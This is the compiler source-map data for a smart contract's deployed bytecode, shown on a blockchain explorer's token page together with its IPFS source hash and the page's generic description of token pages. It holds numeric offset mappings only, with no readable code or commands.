;;;;16950:34:0;;::::1;::::0;;;::::1;::::0;;16910:11:::1;16998:34:::0;;;:12:::1;:34;::::0;;;;:41;;-1:-1:-1;;16998:41:0::1;16910:28:::0;16998:41:::1;::::0;;16924:14;16369:678;-1:-1:-1;16369:678:0:o;3102:230::-;3011:6;;-1:-1:-1;;;;;3011:6:0;194:10;3011:22;3003:67;;;;-1:-1:-1;;;3003:67:0;;;;;;;:::i;:::-;3193:6:::1;::::0;;3172:81:::1;::::0;3209:42:::1;::::0;-1:-1:-1;;;;;3193:6:0;;::::1;::::0;3172:81:::1;::::0;::::1;3264:6;:60:::0;;-1:-1:-1;;;;;;3264:60:0::1;3281:42;3264:60;::::0;;3102:230::o;15678:129::-;3011:6;;-1:-1:-1;;;;;3011:6:0;194:10;3011:22;3003:67;;;;-1:-1:-1;;;3003:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15767:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;15767:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15678:129::o;13546:87::-;13585:13;13618:7;13611:14;;;;;:::i;16032:89::-;3011:6;;-1:-1:-1;;;;;3011:6:0;194:10;3011:22;3003:67;;;;-1:-1:-1;;;3003:67:0;;;;;;;:::i;:::-;16100:7:::1;:13:::0;16032:89::o;14348:269::-;14441:4;14458:129;194:10;14481:7;14490:96;14529:15;14490:96;;;;;;;;;;;;;;;;;194:10;14490:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14490:34:0;;;;;;;;;;;;:38;:96::i;17094:167::-;17172:4;17189:42;194:10;17213:9;17224:6;17189:9;:42::i;15186:139::-;15234:4;15291:1;15260:12;;;;;;;;;-1:-1:-1;;;;;15260:12:0;-1:-1:-1;;;;;15260:28:0;;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:32;:57;;;;-1:-1:-1;;;;;;;15296:21:0;;;;;:17;:21;;;;;;;;;15186:139::o;14794:73::-;3011:6;;-1:-1:-1;;;;;3011:6:0;194:10;3011:22;3003:67;;;;-1:-1:-1;;;3003:67:0;;;;;;;:::i;:::-;14845:9:::1;:14:::0;;-1:-1:-1;;14845:14:0::1;14855:4;14845:14;::::0;;14794:73::o;15925:97::-;3011:6;;-1:-1:-1;;;;;3011:6:0;194:10;3011:22;3003:67;;;;-1:-1:-1;;;3003:67:0;;;;;;;:::i;:::-;15995:10:::1;:19:::0;15925:97::o;3346:244::-;3011:6;;-1:-1:-1;;;;;3011:6:0;194:10;3011:22;3003:67;;;;-1:-1:-1;;;3003:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3435:22:0;::::1;3427:73;;;::::0;-1:-1:-1;;;3427:73:0;;5922:2:1;3427:73:0::1;::::0;::::1;5904:21:1::0;5961:2;5941:18;;;5934:30;6000:34;5980:18;;;5973:62;-1:-1:-1;;;6051:18:1;;;6044:36;6097:19;;3427:73:0::1;5720:402:1::0;3427:73:0::1;3537:6;::::0;;3516:38:::1;::::0;-1:-1:-1;;;;;3516:38:0;;::::1;::::0;3537:6;::::1;::::0;3516:38:::1;::::0;::::1;3565:6;:17:::0;;-1:-1:-1;;;;;;3565:17:0::1;-1:-1:-1::0;;;;;3565:17:0;;;::::1;::::0;;;::::1;::::0;;3346:244::o;15074:104::-;15140:12;;:30;;;-1:-1:-1;;;15140:30:0;;;;15111:7;;-1:-1:-1;;;;;15140:12:0;;:28;;:30;;;;;;;;;;;;;;:12;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;15333:337::-;-1:-1:-1;;;;;15426:19:0;;15418:68;;;;-1:-1:-1;;;15418:68:0;;6329:2:1;15418:68:0;;;6311:21:1;6368:2;6348:18;;;6341:30;6407:34;6387:18;;;6380:62;-1:-1:-1;;;6458:18:1;;;6451:34;6502:19;;15418:68:0;6127:400:1;15418:68:0;-1:-1:-1;;;;;15505:21:0;;15497:68;;;;-1:-1:-1;;;15497:68:0;;6734:2:1;15497:68:0;;;6716:21:1;6773:2;6753:18;;;6746:30;6812:34;6792:18;;;6785:62;-1:-1:-1;;;6863:18:1;;;6856:32;6905:19;;15497:68:0;6532:398:1;15497:68:0;-1:-1:-1;;;;;15578:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15630:32;;1826:25:1;;;15630:32:0;;1799:18:1;15630:32:0;;;;;;;15333:337;;;:::o;17592:1058::-;17714:4;194:10;17686:9;14965:1;14934:12;;;;;;;;;-1:-1:-1;;;;;14934:12:0;-1:-1:-1;;;;;14934:28:0;;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:32;14931:115;;;15016:12;;;;;;;;;-1:-1:-1;;;;;15016:12:0;-1:-1:-1;;;;;15016:28:0;;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14981:11;:34;14993:12;;;;;;;;;-1:-1:-1;;;;;14993:12:0;-1:-1:-1;;;;;14993:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14981:34:0;;;;;;;;;;;;-1:-1:-1;14981:34:0;:65;14931:115;-1:-1:-1;;;;;17749:20:0;::::1;17741:70;;;::::0;-1:-1:-1;;;17741:70:0;;7137:2:1;17741:70:0::1;::::0;::::1;7119:21:1::0;7176:2;7156:18;;;7149:30;7215:34;7195:18;;;7188:62;-1:-1:-1;;;7266:18:1;;;7259:35;7311:19;;17741:70:0::1;6935:401:1::0;17741:70:0::1;-1:-1:-1::0;;;;;17830:23:0;::::1;17822:71;;;::::0;-1:-1:-1;;;17822:71:0;;7543:2:1;17822:71:0::1;::::0;::::1;7525:21:1::0;7582:2;7562:18;;;7555:30;7621:34;7601:18;;;7594:62;-1:-1:-1;;;7672:18:1;;;7665:33;7715:19;;17822:71:0::1;7341:399:1::0;17822:71:0::1;17950:10;::::0;-1:-1:-1;;;;;17912:22:0;::::1;;::::0;;;:11:::1;:22;::::0;;;;;:34:::1;::::0;17939:6;17912:26:::1;:34::i;:::-;:48;;:69;;;-1:-1:-1::0;17965:16:0::1;::::0;-1:-1:-1;;;17965:16:0;::::1;;;17964:17;17912:69;:101;;;-1:-1:-1::0;;;;;;17985:28:0;::::1;;::::0;;;:17:::1;:28;::::0;;;;;::::1;;17912:101;17904:146;;;::::0;-1:-1:-1;;;17904:146:0;;7947:2:1;17904:146:0::1;::::0;::::1;7929:21:1::0;;;7966:18;;;7959:30;8025:34;8005:18;;;7998:62;8077:18;;17904:146:0::1;7745:356:1::0;17904:146:0::1;-1:-1:-1::0;;;;;18068:23:0;::::1;;::::0;;;:12:::1;:23;::::0;;;;;::::1;;18067:24;:45:::0;::::1;;;-1:-1:-1::0;2915:7:0;2942:6;-1:-1:-1;;;;;18095:17:0;;::::1;2942:6:::0;;18095:17:::1;;18067:45;:75;;;;-1:-1:-1::0;;;;;;18117:25:0;::::1;;::::0;;;:17:::1;:25;::::0;;;;;::::1;;18116:26;18067:75;18063:148;;;18166:9;::::0;::::1;;:18;;:9;:18:::0;18158:53:::1;;;::::0;-1:-1:-1;;;18158:53:0;;8308:2:1;18158:53:0::1;::::0;::::1;8290:21:1::0;8347:2;8327:18;;;8320:30;-1:-1:-1;;;8366:18:1;;;8359:52;8428:18;;18158:53:0::1;8106:346:1::0;18158:53:0::1;18252:55;::::0;;;;::::1;::::0;;::::1;::::0;;-1:-1:-1;;;18252:55:0::1;::::0;;::::1;::::0;;;;-1:-1:-1;;;;;18252:19:0;::::1;-1:-1:-1::0;18252:19:0;;;:11:::1;:19:::0;;;;;;;;:55:::1;::::0;18276:6;;18252:23:::1;:55::i;:::-;-1:-1:-1::0;;;;;18230:19:0;;::::1;;::::0;;;:11:::1;:19;::::0;;;;;;;:77;;;;18343:28;;::::1;::::0;;:17:::1;:28:::0;;;;;;;::::1;;18342:118;;18426:34;18434:6;18442:9;18453:6;18426:7;:34::i;:::-;18342:118;;;18417:6;18342:118;-1:-1:-1::0;;;;;18525:22:0;::::1;;::::0;;;:11:::1;:22;::::0;;;;;18320:140;;-1:-1:-1;18525:39:0::1;::::0;18320:140;18525:26:::1;:39::i;:::-;-1:-1:-1::0;;;;;18500:22:0;;::::1;;::::0;;;:11:::1;:22;::::0;;;;;;:64;;;;18580:40;;;;::::1;::::0;::::1;::::0;::::1;::::0;18608:11;1826:25:1;;1814:2;1799:18;;1680:177;18580:40:0::1;;;;;;;;-1:-1:-1::0;18638:4:0::1;::::0;17592:1058;-1:-1:-1;;;;;;17592:1058:0:o;1415:192::-;1501:7;1537:12;1529:6;;;;1521:29;;;;-1:-1:-1;;;1521:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1561:9:0;1573:5;1577:1;1573;:5;:::i;:::-;1561:17;1415:192;-1:-1:-1;;;;;1415:192:0:o;1271:136::-;1329:7;1356:43;1360:1;1363;1356:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1349:50;1271:136;-1:-1:-1;;;1271:136:0:o;1082:181::-;1140:7;;1172:5;1176:1;1172;:5;:::i;:::-;1160:17;;1201:1;1196;:6;;1188:46;;;;-1:-1:-1;;;1188:46:0;;9054:2:1;1188:46:0;;;9036:21:1;9093:2;9073:18;;;9066:30;9132:29;9112:18;;;9105:57;9179:18;;1188:46:0;8852:351:1;19008:652:0;-1:-1:-1;;;;;19155:20:0;;19094:7;19155:20;;;:12;:20;;;;;;19094:7;;19155:20;;19152:204;;;19204:28;19228:3;19204:19;19215:7;;19204:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;19192:40;;19152:204;;;-1:-1:-1;;;;;19263:23:0;;;;;;:12;:23;;;;;;;;19260:96;;;19315:29;19340:3;19315:20;19326:8;;19315:6;:10;;:20;;;;:::i;:29::-;19303:41;;19260:96;19382:13;;19379:233;;-1:-1:-1;;;;;19468:11:0;19448:33;;;;;:11;:33;;;;;;:48;;19486:9;19448:37;:48::i;:::-;19432:11;-1:-1:-1;;;;;19412:33:0;;;;;:11;:33;;;;;;;;;:84;;;;19516:15;1826:25:1;;;19516:15:0;;1799:18:1;19516:15:0;;;;;;;19576:11;-1:-1:-1;;;;;19551:49:0;19560:6;-1:-1:-1;;;;;19551:49:0;;19590:9;19551:49;;;;1826:25:1;;1814:2;1799:18;;1680:177;19551:49:0;;;;;;;;19379:233;19631:21;:6;19642:9;19631:10;:21::i;1615:250::-;1673:7;1697:1;1702;1697:6;1693:47;;-1:-1:-1;1727:1:0;1720:8;;1693:47;1752:9;1764:5;1768:1;1764;:5;:::i;:::-;1752:17;-1:-1:-1;1797:1:0;1788:5;1792:1;1752:17;1788:5;:::i;:::-;:10;1780:56;;;;-1:-1:-1;;;1780:56:0;;9805:2:1;1780:56:0;;;9787:21:1;9844:2;9824:18;;;9817:30;9883:34;9863:18;;;9856:62;-1:-1:-1;;;9934:18:1;;;9927:31;9975:19;;1780:56:0;9603:397:1;1873:132:0;1931:7;1958:39;1962:1;1965;1958:39;;;;;;;;;;;;;;;;;2099:7;2134:12;2127:5;2119:28;;;;-1:-1:-1;;;2119:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2158:9:0;2170:5;2174:1;2170;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1862:456::-;1939:6;1947;1955;2008:2;1996:9;1987:7;1983:23;1979:32;1976:52;;;2024:1;2021;2014:12;1976:52;2063:9;2050:23;2082:31;2107:5;2082:31;:::i;:::-;2132:5;-1:-1:-1;2189:2:1;2174:18;;2161:32;2202:33;2161:32;2202:33;:::i;:::-;1862:456;;2254:7;;-1:-1:-1;;;2308:2:1;2293:18;;;;2280:32;;1862:456::o;2531:160::-;2596:20;;2652:13;;2645:21;2635:32;;2625:60;;2681:1;2678;2671:12;2625:60;2531:160;;;:::o;2696:180::-;2752:6;2805:2;2793:9;2784:7;2780:23;2776:32;2773:52;;;2821:1;2818;2811:12;2773:52;2844:26;2860:9;2844:26;:::i;3070:247::-;3129:6;3182:2;3170:9;3161:7;3157:23;3153:32;3150:52;;;3198:1;3195;3188:12;3150:52;3237:9;3224:23;3256:31;3281:5;3256:31;:::i;3322:180::-;3381:6;3434:2;3422:9;3413:7;3409:23;3405:32;3402:52;;;3450:1;3447;3440:12;3402:52;-1:-1:-1;3473:23:1;;3322:180;-1:-1:-1;3322:180:1:o;3507:315::-;3572:6;3580;3633:2;3621:9;3612:7;3608:23;3604:32;3601:52;;;3649:1;3646;3639:12;3601:52;3688:9;3675:23;3707:31;3732:5;3707:31;:::i;:::-;3757:5;-1:-1:-1;3781:35:1;3812:2;3797:18;;3781:35;:::i;:::-;3771:45;;3507:315;;;;;:::o;3827:388::-;3895:6;3903;3956:2;3944:9;3935:7;3931:23;3927:32;3924:52;;;3972:1;3969;3962:12;3924:52;4011:9;3998:23;4030:31;4055:5;4030:31;:::i;:::-;4080:5;-1:-1:-1;4137:2:1;4122:18;;4109:32;4150:33;4109:32;4150:33;:::i;:::-;4202:7;4192:17;;;3827:388;;;;;:::o;4220:380::-;4299:1;4295:12;;;;4342;;;4363:61;;4417:4;4409:6;4405:17;4395:27;;4363:61;4470:2;4462:6;4459:14;4439:18;4436:38;4433:161;;4516:10;4511:3;4507:20;4504:1;4497:31;4551:4;4548:1;4541:15;4579:4;4576:1;4569:15;4433:161;;4220:380;;;:::o;4605:356::-;4807:2;4789:21;;;4826:18;;;4819:30;4885:34;4880:2;4865:18;;4858:62;4952:2;4937:18;;4605:356::o;4966:251::-;5036:6;5089:2;5077:9;5068:7;5064:23;5060:32;5057:52;;;5105:1;5102;5095:12;5057:52;5137:9;5131:16;5156:31;5181:5;5156:31;:::i;5531:184::-;5601:6;5654:2;5642:9;5633:7;5629:23;5625:32;5622:52;;;5670:1;5667;5660:12;5622:52;-1:-1:-1;5693:16:1;;5531:184;-1:-1:-1;5531:184:1:o;8457:127::-;8518:10;8513:3;8509:20;8506:1;8499:31;8549:4;8546:1;8539:15;8573:4;8570:1;8563:15;8589:128;8656:9;;;8677:11;;;8674:37;;;8691:18;;:::i;8722:125::-;8787:9;;;8808:10;;;8805:36;;;8821:18;;:::i;9208:168::-;9281:9;;;9312;;9329:15;;;9323:22;;9309:37;9299:71;;9350:18;;:::i;9381:217::-;9421:1;9447;9437:132;;9491:10;9486:3;9482:20;9479:1;9472:31;9526:4;9523:1;9516:15;9554:4;9551:1;9544:15;9437:132;-1:-1:-1;9583:9:1;;9381:217::o

Swarm Source

ipfs://4e4e3769b8703c0f2774b6e9b8f6e4aea63c69024a4331ab84dae58c84e153c5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.